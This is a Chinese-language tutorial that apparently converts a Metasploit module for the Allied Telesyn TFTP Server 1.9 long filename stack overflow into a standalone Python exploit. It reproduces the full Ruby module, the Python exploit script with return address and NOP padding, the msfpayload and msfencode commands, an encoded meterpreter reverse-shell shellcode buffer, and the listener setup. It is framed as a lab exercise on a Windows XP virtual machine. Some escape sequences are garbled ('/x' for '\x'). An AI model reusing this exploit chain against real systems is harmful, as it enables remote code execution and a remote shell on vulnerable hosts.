使用python重写metasploit的exploit
序言
有时你可能想要一个独立的exploit,但唯一的选择是Metasploit模块。当然你可以随时启动Metasploit并使用它。但是除了解在Metasploit下面使用exploit以外,我们还可以很方便地了解如何处理自己的漏洞利用,并在将来甚至编写自己的Metasploit模块,并为这个美好的的项目做出贡献。
要求
* Windows XP - SP3虚拟机(受害者)。 * Kali Linux虚拟机(Attacker)。 * Allied Telesyn TFTP Server 1.9
备注
ftp 服务器的下载地址如下:
http://netsec.ws/wp-content/downloads/at-tftpd19.exe
目标
我们将调整位于/usr/share/metasploit-framework/modules/exploits/windows/tftp/attftp_long_filename.rb的attftp_long_filename.rb模块,并将其更改为我们自己独立的Python exploit。我绝对不是一个经验丰富的开发者,所以我只能想到这样的方式来实现这一个简单的功能,可能会有更多的最佳方法来做到这一步。
模块是attftp_long_filename.rb
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name. }, 'Author' => [ 'patrick' ], 'References' => [ ['CVE', '2006-6184'], ['OSVDB', '11350'], ['BID', '21320'], ['EDB', '2887'], ['URL', 'ftp://guest:[email protected]/pub/utilities/at-tftpd19.zip'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 210, 'BadChars' => "/x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24 [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], [ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], ------ ret by c0re [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], ------ ret donated by securityxxxpert [ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], ------ ret donated by Polar Bear ], 'Privileged' => false, 'DisclosureDate' => 'Nov 27 2006')) register_options( [ Opt::RPORT(69), Opt::LHOST() # Required for stack offset ], self.class) end def exploit connect_udp sploit = "/x00/x02" + make_nops(25 - datastore['LHOST'].length) sploit << payload.encoded sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it. sploit << "/x83/xc4/x28/xc3" # <-- esp = add esp 0x28 + retn sploit << "/x00" + "netascii" + "/x00" udp_sock.put(sploit) disconnect_udp end end
关键点
让我们来看看模块的一些关键点,然后尝试一下,了解一下。我们只针对漏洞利用产生影响的部分进行检查。
默认退出选项
'DefaultOptions' => { 'EXITFUNC' => 'process', },
如上所述,默认退出函数是’process’。这是shellcode在运行后退出的方法,通常会在我们发送我们的漏洞后对攻击程序的稳定性产生影响。当我们改变shellcode以适应我们的特殊情况时,应该注意这个值。
有效载荷
'Payload' => { 'Space' => 210, 'BadChars' => “ / x 00”, 'StackAdjustment' => - 3500, },
有效载荷是我们需要检查的关键方面之一。这表示我们有210字节的空间用于我们的有效载荷驻留。任何较大的,我们可能会遇到各种截断我们的漏洞利用的问题。坏字符表示可能影响我们漏洞利用的字节。我们需要确保这些字符都不在我们的shellcode中,在这种情况下,它几乎是普遍不好的空字符’0x00’。有关坏字符的更多信息,请搜索本网站以编写基本缓冲区溢出。最后我们看到一些叫做堆栈调整的东西。基本上是因为我们在使用中受到限制,我们需要使用一种称为分段有效载荷的东西。我们正在做的只是发送一个小的第一条指令,其设计用于连接到我们并获得主要有效载荷。
目标系统
'Targets' => [ ---- Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24 [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], [ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], ---- ret by c0re [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], ---- ret donated by securityxxxpert [ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], ---- ret donated by Polar Bear
Metasploit对于许多漏洞利用具有广泛的目标,对于每个操作系统来说,这些目标主要是各种适用的返回地址。因为他们经常使用系统DLL,这些地址不会从计算机更改为计算机,并确保漏洞兼容性。在我们的例子中,我们希望使用c0re,Windows XP SP3提供的返回地址。
漏洞利用
def exploit connect_udp sploit = "/x00/x02" + make_nops(25 - datastore['LHOST'].length) sploit << payload.encoded sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it. sploit << "/x83/xc4/x28/xc3" # <-- esp = add esp 0x28 + retn sploit << "/x00" + "netascii" + "/x00" udp_sock.put(sploit) disconnect_udp end
所有其他的主要部分,一直是导致利用本身的。让我们一起去认真看看,以确保我们了解它。
connect_udp
这意味着漏洞将通过UDP数据包发送。此线路连接将目标值设置为Metasploit中的值,如RHOST和RPORT。
sploit = "/x00/x02" + make_nops(25 - datastore['LHOST'].length)
漏洞利用两个十六进制值“0x00”和“0x02”开始,后跟一系列NOP。根据LAN IP的长度,nops组件的长度可变,但总共总共为25。作为示例,“192.168.1.2”的LHOST值的长度为11,而IP地址为“192.168.100.123”的长度为15.如果要使用此功能弹出IRB(Interactive Ruby Shell)并分配一个变量,如LHOST =’192.168.1.50’。然后命令LHOST.length会告诉你长度值 - 或者只是计算包含句点的字符数。
sploit << payload.encoded
该行编码Metasploit中指定的有效载荷,并以所需格式进行编码。Metasploit将根据可用空间和目标操作系统在内部确定哪些有效负载是合适的,并且可以使用“显示有效载荷”命令查看它们。当我们说“必需格式”时,这意味着它将在漏洞中提前排除指定的不能使用的。
sploit << [target['Ret']].pack('V')
此命令将目标返回地址附加到exploit字符串中。由于在Metasploit中您可以提名不同的操作系统,因此在此可以显示为变量,但为了我们的目的,它只是Windows XP SP3的返回地址。包“V”命令表示需要以小的字节格式打包,这对x86处理器是必需的。
sploit << "/x83/xc4/x28/xc3"
翻译成命令,这是指示esp寄存器添加40个字节并返回。有必要对我们的漏洞进行正确的定位。
sploit << "/x00" + "netascii" + "/x00"
我们的漏洞利用的最后一个字符串,它以AT-TFTP期待的格式终止数据流。
udp_sock.put(sploit)
这指示Metasploit通过UDP发送漏洞。
disconnect_udp
断开链接,但这表示它已经完成了UDP套接字请求。
对应操作系统
我们总结一下我们在自己的漏洞中所需要实现的工作,以便在上述突出的领域得到工作。
* 根据LHOST的大小创建一个适当大小的NOP堆栈 * 找到返回地址,并以小尾数格式打包 * 生成适合我们情况的shellcode(LHOST等) * 在shellcode上执行堆栈调整,所以我们的第二个阶段可以正确写入 * 通过UDP发送漏洞利用Python
关于这些具有挑战性的唯一的一步是这个堆栈调整业务,但是真的像所有的事情一样容易得多。
我们从一个非常简单的UDP框架开始,将信息发送到目标。
import sys, socket ---- Use in the form "python attftp_long_filename.py <IP Address> <Port> <Your IP Address>" host = sys.argv[1] ---- Recieve IP from user port = int(sys.argv[2]) ---- Recieve Port from user exploit = "" ---- Out future exploit location client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ---- Declare a UDP socket client.sendto(exploit, (host, port)) ---- Send the exploit over UDP to the nominated addresses
现在从这里开始,很多信息都将是从这里开始研究的。这包括创建适当大小的NOP和返回地址,以及我们将会发送的信息来设置漏洞本身。我们将其纳入我们的框架
import sys, socket ---- Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>" host = sys.argv[1] ---- Recieve IP from user lhost = sys.argv[3] port = int(sys.argv[2]) ---- Recieve Port from user ret = "/x53/x93/x42/x7e" ---- Return address - Source Metasploit (Little Endian) nop = "/x90" * (25-len(lhost)) ----- Create a NOP string as to bring NOPs + LHOST up to 25 bytes payload = "" ---- Payload to be calculated exploit = "/x00/x02" + nop + payload + ret + "/x83/xc4/x28/xc3/x00netascii/x00" ---- Our exploit so far client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ----- Declare a UDP socket client.sendto(exploit, (host, port))
现在我们已经知道我们需要采取下一步的因素,并考虑到我们的有效载荷的堆栈调整。
堆栈调整
首先,我们需要将我们的有效负载转储到一个原始的十六进制文件中以进一步操作。在这种情况下,我们的有效负载将是更小 reverse_nonx_tcp模块,因为它特别小的代码占用。我们使用命令,
msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 R > payload
如果我们希望确认已成功输出到该文件,我们可以使用该命令
hexdump -C payload 00000000 fc 6a eb 47 e8 f9 ff ff ff 60 31 db 8b 7d 3c 8b |.j.G.....`1..}<.| 00000010 7c 3d 78 01 ef 8b 57 20 01 ea 8b 34 9a 01 ee 31 ||=x...W ...4...1| 00000020 c0 99 ac c1 ca 0d 01 c2 84 c0 75 f6 43 66 39 ca |..........u.Cf9.| 00000030 75 e3 4b 8b 4f 24 01 e9 66 8b 1c 59 8b 4f 1c 01 |u.K.O$..f..Y.O..| 00000040 e9 03 2c 99 89 6c 24 1c 61 ff e0 31 db 64 8b 43 |..,..l$.a..1.d.C| 00000050 30 8b 40 0c 8b 70 1c ad 8b 68 08 5e 66 53 66 68 |[email protected].^fSfh| 00000060 33 32 68 77 73 32 5f 54 66 b9 72 60 ff d6 95 53 |32hws2_Tf.r`...S| 00000070 53 53 53 43 53 43 53 89 e7 66 81 ef 08 02 57 53 |SSSCSCS..f....WS| 00000080 66 b9 e7 df ff d6 66 b9 a8 6f ff d6 97 68 c0 a8 |f.....f..o...h..| 00000090 01 02 66 68 01 bb 66 53 89 e3 6a 10 53 57 66 b9 |..fh..fS..j.SWf.| 000000a0 57 05 ff d6 50 b4 0c 50 53 57 53 66 b9 c0 38 ff |W...P..PSWSf..8.| 000000b0 e6 |.| 000000b1
当将文件与编码调整版本进行比较时,这也将派上用场。接下来,我们需要找出我们实际需要使用什么命令调整堆栈-3500字节。这可以使用Metasploit工具nasm_shell.rb,位于这里/usr/share/metasploit-framework/tools/nasm_shell.rb。装入命令将给你该命令的hex机器指令。由于我们要从堆栈指针中减去3500(十六进制0xDAC),所以我们执行以下操作,
ruby /usr/share/metasploit-framework/tools/nasm_shell.rb nasm > sub esp, 0xDAC 00000000 81ECAC0D0000 sub esp,0xdac
这告诉我们,我们需要使用命令81EC AC0D 0000来实现将堆栈调整为3500.我们将其输出为原始十六进制文件。你可以这样做,如使用十六进制编辑器,但是perl可以很简单的输出,一行示例如下,
perl -e 'print "/x81/xec/xac/x0d/x00/x00"' > stackadj
为了确认我们现在有了正确格式的文件,我们再次使用hexdump进行检查,并将其与之前的转储进行比较。
hexdump -C shellcode 00000000 81 ec ac 0d 00 00 fc 6a eb 47 e8 f9 ff ff ff 60 |.......j.G.....`| 00000010 31 db 8b 7d 3c 8b 7c 3d 78 01 ef 8b 57 20 01 ea |1..}<.|=x...W ..| 00000020 8b 34 9a 01 ee 31 c0 99 ac c1 ca 0d 01 c2 84 c0 |.4...1..........| 00000030 75 f6 43 66 39 ca 75 e3 4b 8b 4f 24 01 e9 66 8b |u.Cf9.u.K.O$..f.| 00000040 1c 59 8b 4f 1c 01 e9 03 2c 99 89 6c 24 1c 61 ff |.Y.O....,..l$.a.| 00000050 e0 31 db 64 8b 43 30 8b 40 0c 8b 70 1c ad 8b 68 |[email protected]| 00000060 08 5e 66 53 66 68 33 32 68 77 73 32 5f 54 66 b9 |.^fSfh32hws2_Tf.| 00000070 72 60 ff d6 95 53 53 53 53 43 53 43 53 89 e7 66 |r`...SSSSCSCS..f| 00000080 81 ef 08 02 57 53 66 b9 e7 df ff d6 66 b9 a8 6f |....WSf.....f..o| 00000090 ff d6 97 68 c0 a8 01 02 66 68 01 bb 66 53 89 e3 |...h....fh..fS..| 000000a0 6a 10 53 57 66 b9 57 05 ff d6 50 b4 0c 50 53 57 |j.SWf.W...P..PSW| 000000b0 53 66 b9 c0 38 ff e6 |Sf..8..| 000000b7
它与我们以前的有效载荷完全相同,但堆栈调整已经在开发阶段发生。我们现在已经完成了,但是我们有一个最后一步我们需要做的shellcode。
编码Shellcode
在我们的堆栈调整命令和有效负载本身都有空字符,我们需要删除。Msfencode再次来到我们的救援中,我们可以重新编码有效载荷,无空值。
cat shellcode | msfencode -b '/x00' -e x86/shikata_ga_nai -t python [*] x86/shikata_ga_nai succeeded with size 210 (iteration=1) buf = "" buf += "/xbb/xd2/x8c/x3a/x78/xdb/xd2/xd9/x74/x24/xf4/x58/x31" buf += "/xc9/xb1/x2e/x31/x58/x15/x03/x58/x15/x83/xc0/x04/xe2" buf += "/x27/x0d/xd6/xd4/xca/x0e/x27/xd9/xbe/xe5/x60/xc9/xc7" buf += "/x05/x91/xf6/x57/xcb/xb5/x82/xea/x17/xc1/xe9/x29/x10" buf += "/xd4/xfe/xda/xb7/xf6/x01/x36/xbc/xc3/x9b/xc7/x2d/x1a" buf += "/x5c/x5e/x1d/x9c/x96/x6d/x5f/xdd/xa3/xad/x2a/x17/xe8" buf += "/x4b/xec/x1d/x9a/x70/x45/x29/x2a/x52/x5b/xc4/xd3/x11" buf += "/x47/x4f/x97/x6a/x64/x6e/x4e/x77/xb8/xe9/x19/x1b/xe4" buf += "/x15/x7b/x1c/x04/x14/xa0/x86/x4e/x14/x66/xcd/x11/x97" buf += "/x0d/xa1/x8d/x0a/x9a/x29/xa6/x0a/xfb/xfa/xd0/xda/x30" buf += "/xce/x74/x6c/x44/x1c/xda/xc6/xcc/xd9/x96/x86/xef/xcf" buf += "/xc2/x14/x43/xbc/xbf/xd9/x30/x01/x13/x57/x51/xe3/x12" buf += "/x88/x96/xe9/x43/x04/xc1/x54/x8c/x75/xf2/x70/x35/x33" buf += "/xa5/x13/x45/x95/x21/x83/x79/xb2/x4f/x51/x1c/xab/x4e" buf += "/xee/x86/x78/xd8/xf3/x2d/x6f/x89/xa4/xd7/x36/x7a/x4f" buf += "/xe7/x9f/xd5/xfb/x1b/x70/x85/x54/x77/x16/x90/x9a/x4f" buf += "/x29/x04"
我们现在可以将这个shellcode剪切并粘贴到我们的python exploit中。最后的漏洞看起来如下。
最终利用
我们来看看我们的Windows XP受害者。在链接中安装AT-TFTP v1.9的要求。确保您解除阻止任何防火墙提示以允许访问。因为这是一个分期的有效载荷,我们需要设置Metasploit来捕获传入的shell。然后它会发送第二个更大的缓冲区(769536字节),我们永远不会适合我们的漏洞利用本身。依次运行命令,
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_nonx_tcp set LHOST <Your IP Address> set LPORT 443 exploit
现在有趣的东西,我们运行命令,
python attftp_long_filename.py 192.168.1.104 69 192.168.1.2
不用说你应该把自己的IP值,但它应该保持格式python
一切顺利,这是结果…
总结
文章写道这里就结束,但是面对metasploit丰富的资源。战斗才刚刚开始,让我们在不断的学习中进步,让我们在不断的进步中实战。实战决定了我们能够走的有多远,如果你也想跟小编一起学习进步,就赶紧扫下面的二维码,关注我们吧。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论